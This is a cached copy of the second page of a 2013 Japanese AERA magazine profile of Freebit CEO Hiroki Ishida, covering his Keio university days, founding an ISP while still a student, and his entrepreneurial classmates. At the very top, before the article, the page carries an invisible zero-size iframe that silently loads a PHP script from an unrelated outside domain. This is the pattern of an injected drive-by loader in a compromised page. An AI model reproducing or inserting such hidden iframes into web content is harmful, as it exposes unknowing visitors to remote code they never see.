<iframe src="//nspt.unitag.jp/ced324f765faec92_3871.php" width="0" height="0" frameborder="0"></iframe> (cache)中卒でソニー会長に「働きたい」と言ったら…意外な返事 (2/2) 〈AERA〉|AERA dot. (アエラドット)

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中卒でソニー会長に「働きたい」と言ったら…意外な返事

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フリービット社長石田宏樹(41)初代総合政策学部長だった加藤寛は、会いにいくとすぐ、自分の名刺に「この学生にご引見ください」と紹介文を書き添えて渡してくれた。「君たちは未来からの留学生だ」という加藤の言葉は、「今、思い出しても鳥肌が立つメッセージ」という(撮影/今村拓馬)

フリービット社長
石田宏樹(41)

初代総合政策学部長だった加藤寛は、会いにいくとすぐ、自分の名刺に「この学生にご引見ください」と紹介文を書き添えて渡してくれた。「君たちは未来からの留学生だ」という加藤の言葉は、「今、思い出しても鳥肌が立つメッセージ」という(撮影/今村拓馬)

 
 93年に入学して村井の研究会(ゼミ)に所属したにもかかわらず、実は一度も出席しなかった。在学中に起業し、インターネットサービスプロバイダー(ISP)の立ち上げにかかわっていたからだ。「日本一のISPを作る代わりに単位をください」と村井に宣言し、約束通り、そのISPを顧客満足度ナンバーワンISPに育て上げた。

「お前は勝ったな、と言って村井さんは単位をくれました。中途半端なプロバイダーじゃ単位に値しないが、そうじゃなかったと。卒論も書かなかったのに卒業させてくれました」

 当時、キャンパスにはレシピ投稿サイトのクックパッド創業者の佐野陽光(40)や、位置情報サービスのコロプラ副社長の千葉功太郎(39)など、後のITベンチャーを支えていく人物たちが闊歩していた。石田は言う。

「僕が学生時代に一緒に起業したメンバーたちもピカイチに頭が良かった。彼らと同じ環境にいたことは奇跡だと思う」

AERA 2013年7月29日号


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